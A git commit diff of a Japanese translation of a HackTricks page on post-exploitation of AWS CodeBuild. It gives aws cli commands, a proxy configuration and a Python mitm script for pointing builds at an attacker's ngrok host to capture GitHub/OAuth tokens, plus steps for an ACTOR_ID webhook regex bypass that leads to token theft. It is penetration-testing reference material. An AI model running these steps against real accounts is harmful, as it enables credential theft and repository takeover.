mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -2,47 +2,47 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Github/Bitbucketに設定されたトークンの回収
|
||||
## Github/Bitbucket に設定された Tokens を回収する
|
||||
|
||||
まず、漏洩できるソース認証情報が設定されているか確認してください:
|
||||
まず、leak できる source credentials が設定されていないか確認してください:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
### Docker Image を利用
|
||||
|
||||
アカウントに対して例えばGithubへの認証が設定されていることがわかった場合、Codebuildに**特定のdockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**(**GHトークンまたはOAuthトークン**)を**抽出**することができます。
|
||||
例えばアカウントにGithubへの認証が設定されているのを見つけた場合、プロジェクトのビルドを実行するためにCodebuildに特定のDocker imageを使わせることで、その **exfiltrate** なお **access**(**GH token or OAuth token**)を取得できます。
|
||||
|
||||
この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの**環境**を変更して**Dockerイメージ**を設定することができます。
|
||||
この目的のために、**新しい Codebuild プロジェクトを作成する**か、既存のものの **environment** を変更して **Docker image** を設定することができます。
|
||||
|
||||
使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは非常に基本的なDockerイメージで、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定します。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。
|
||||
使用できる Docker image は [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm) です。これは非常に基本的な Docker image で、**環境変数 `https_proxy`**、**`http_proxy`**、および **`SSL_CERT_FILE`** を設定します。これにより、**`https_proxy`** および **`http_proxy`** に指定されたホストのトラフィックの多くを傍受し、**`SSL_CERT_FILE`** に指定された SSL 証明書を信頼することが可能になります。
|
||||
|
||||
1. **自分のDocker MitMイメージを作成してアップロード**
|
||||
- リポジトリの指示に従ってプロキシIPアドレスを設定し、SSL証明書を設定して**dockerイメージをビルド**します。
|
||||
- メタデータエンドポイントへのリクエストを傍受しないように**`http_proxy`を設定しないでください**。
|
||||
- **`ngrok`**を使用してプロキシをホストに設定することができます(例:`ngrok tcp 4444`)。
|
||||
- Dockerイメージがビルドされたら、**パブリックリポジトリにアップロード**します(Dockerhub、ECR...)。
|
||||
2. **環境を設定**
|
||||
- **新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの環境を**変更**します。
|
||||
- プロジェクトを**以前に生成したDockerイメージ**を使用するように設定します。
|
||||
1. **自分の Docker MitM image を作成してアップロードする**
|
||||
- リポジトリの指示に従い、プロキシのIPアドレスとSSL証明書を設定して、**build the docker image**。
|
||||
- **DO NOT SET `http_proxy`**(メタデータエンドポイントへのリクエストを傍受しないため)。
|
||||
- ホストをプロキシに設定するために、例えば `ngrok` を `ngrok tcp 4444` のように使うことができます。
|
||||
- Docker image をビルドしたら、**upload it to a public repo**(Dockerhub, ECR...)。
|
||||
2. **環境を設定する**
|
||||
- **新しい Codebuild プロジェクトを作成する**か、既存のものの**環境**を変更します。
|
||||
- プロジェクトが **前に生成した Docker image** を使用するように設定します。
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **ホストにMitMプロキシを設定**
|
||||
3. **ホストに MitM proxy を設定する**
|
||||
|
||||
- **Githubリポジトリ**に示されているように、次のようなものを使用できます:
|
||||
- **Github repo** にあるように、例えば次のように使用できます:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> 使用された**mitmproxyのバージョンは9.0.1**であり、バージョン10ではこれが機能しない可能性があると報告されています。
|
||||
> **mitmproxy version used was 9.0.1**, version 10 では動作しない可能性が報告されています。
|
||||
|
||||
4. **ビルドを実行し、資格情報をキャプチャする**
|
||||
4. **ビルドを実行して credentials を取得する**
|
||||
|
||||
- **Authorization**ヘッダーにトークンが表示されます:
|
||||
- **Authorization** ヘッダーで token を確認できます:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
これは、aws cliを使用して次のように行うこともできます。
|
||||
これは aws cli から次のように実行することもできます
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
### insecureSSL を経由して
|
||||
|
||||
**Codebuild** プロジェクトには、ウェブ上では隠されている **`insecureSsl`** という設定があり、APIからのみ変更できます。\
|
||||
これを有効にすると、Codebuildはプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。
|
||||
**Codebuild** プロジェクトには **`insecureSsl`** という設定があり、Web 上には表示されず、API からのみ変更できます。\
|
||||
これを有効にすると、Codebuild はリポジトリに**プラットフォームが提示する証明書を検証せずに**接続できます。
|
||||
|
||||
- まず、次のようなもので現在の設定を列挙する必要があります:
|
||||
- まず、例えば次のようなコマンドで現在の設定を列挙する必要があります:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- その後、収集した情報を使用してプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください(これは収集した設定から変更する必要がある唯一の項目です)。
|
||||
- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください。
|
||||
- その後、収集した情報を用いてプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、末尾の **`insecureSsl=True`** に注目してください(収集した設定から変更するのはこれだけです)。
|
||||
- さらに、環境変数 **http_proxy** と **https_proxy** を tcp ngrok を指すように追加します。例:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- 次に、プロキシ変数(http_proxyおよびhttps_proxy)で指摘されたポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)から基本的な例を実行します。
|
||||
- 次に、proxy 変数(http_proxy と https_proxy)が示すポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本的な例を実行します。
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- 最後に、**Build the project**をクリックすると、**credentials**が**クリアテキスト**(base64)でmitmポートに**送信されます**:
|
||||
- 最後に **Build the project** をクリックすると、**credentials** が **平文(base64)で** mitm ポートに送信されます:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~HTTPプロトコル経由~~
|
||||
### ~~Via HTTP protocol~~
|
||||
|
||||
> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました(おそらく金曜日)。したがって、攻撃者はもはやこれを悪用できません :)**
|
||||
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
|
||||
|
||||
**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、OAuth経由で権限が設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。
|
||||
CodeBuild 上で権限が昇格した攻撃者は、設定された Github/Bitbucket token を leak したり、権限が OAuth 経由で構成されている場合は、コードにアクセスするための temporary OAuth token を取得したりする可能性があります。
|
||||
|
||||
- 攻撃者は、CodeBuildプロジェクトに**http_proxy**と**https_proxy**の環境変数を追加し、自分のマシンを指すことができます(例えば`http://5.tcp.eu.ngrok.io:14972`)。
|
||||
- 攻撃者は環境変数 **http_proxy** と **https_proxy** を CodeBuild プロジェクトに追加し、自分のマシンを指すように設定できます(例: `http://5.tcp.eu.ngrok.io:14972`)。
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- 次に、githubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば: `http://github.com/carlospolop-forks/TestActions`
|
||||
- その後、プロキシ変数(http_proxyとhttps_proxy)によって指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)から基本的な例を実行します。
|
||||
- 次に、github repo の URL を HTTPS ではなく HTTP を使うように変更します。例: `http://github.com/carlospolop-forks/TestActions`
|
||||
- そして、proxy 変数(http_proxy と https_proxy)が指すポートで [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の basic example を実行します。
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -162,11 +162,28 @@ mitm.run()
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- 最後に、**資格情報**は**平文**(base64)でmitmポートに送信されます:
|
||||
- 最終的に、**認証情報**は**平文** (base64) で mitm port に送信されます:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> これで攻撃者は自分のマシンからトークンを使用し、持っているすべての権限をリストし、CodeBuildサービスを直接使用するよりも簡単に(悪用)できるようになります。
|
||||
> これにより攻撃者は自分のマシンからtokenを使用して、その持つすべての権限を列挙し、CodeBuildサービスを直接利用するよりも容易に悪用できるようになります。
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
|
||||
設定ミスのある CodeBuild GitHub webhooks がアンカーのない `ACTOR_ID` 正規表現を使用していると、*untrusted* PR が特権ビルドを開始できてしまいます。allowlist が `123456|7890123` のように `^`/`$` を含まない場合、そのサブストリングを含む任意の ID が一致します。GitHub のユーザー ID は連番であるため、攻撃者は“eclipsing” ID(信頼された ID を含むより長い ID)を競って登録し、ビルドをトリガーできます。
|
||||
|
||||
## エクスプロイトの流れ
|
||||
|
||||
1. webhook フィルタを公開している公開の CodeBuild プロジェクトを見つけ、アンカーのない `ACTOR_ID` allowlist を抽出する。
|
||||
2. eclipsing GitHub ID を取得する:
|
||||
- GitHub org を作成/削除してグローバル ID カウンタをサンプリングする(org ID も同じプールを共有する)。
|
||||
- 多数の GitHub App manifest 作成を事前登録し、カウンタがターゲットの約 ~100 ID に近づいたときに確認用 URLs を一斉に実行して、信頼されたサブストリングを含む bot ID をバースト登録する。
|
||||
3. eclipsing アカウントから PR を開くと、regex がサブストリングにマッチして特権ビルドが実行される。
|
||||
4. build RCE(例: dependency install hooks)を利用して、GitHub 資格情報を扱うプロセスのメモリをダンプし、PAT/OAuth token を回収する。
|
||||
5. `repo` スコープを持つ token を使用して自分のアカウントを collaborator/admin として招待し、悪意あるコミットをプッシュ/承認したり秘密を持ち出したりする。
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user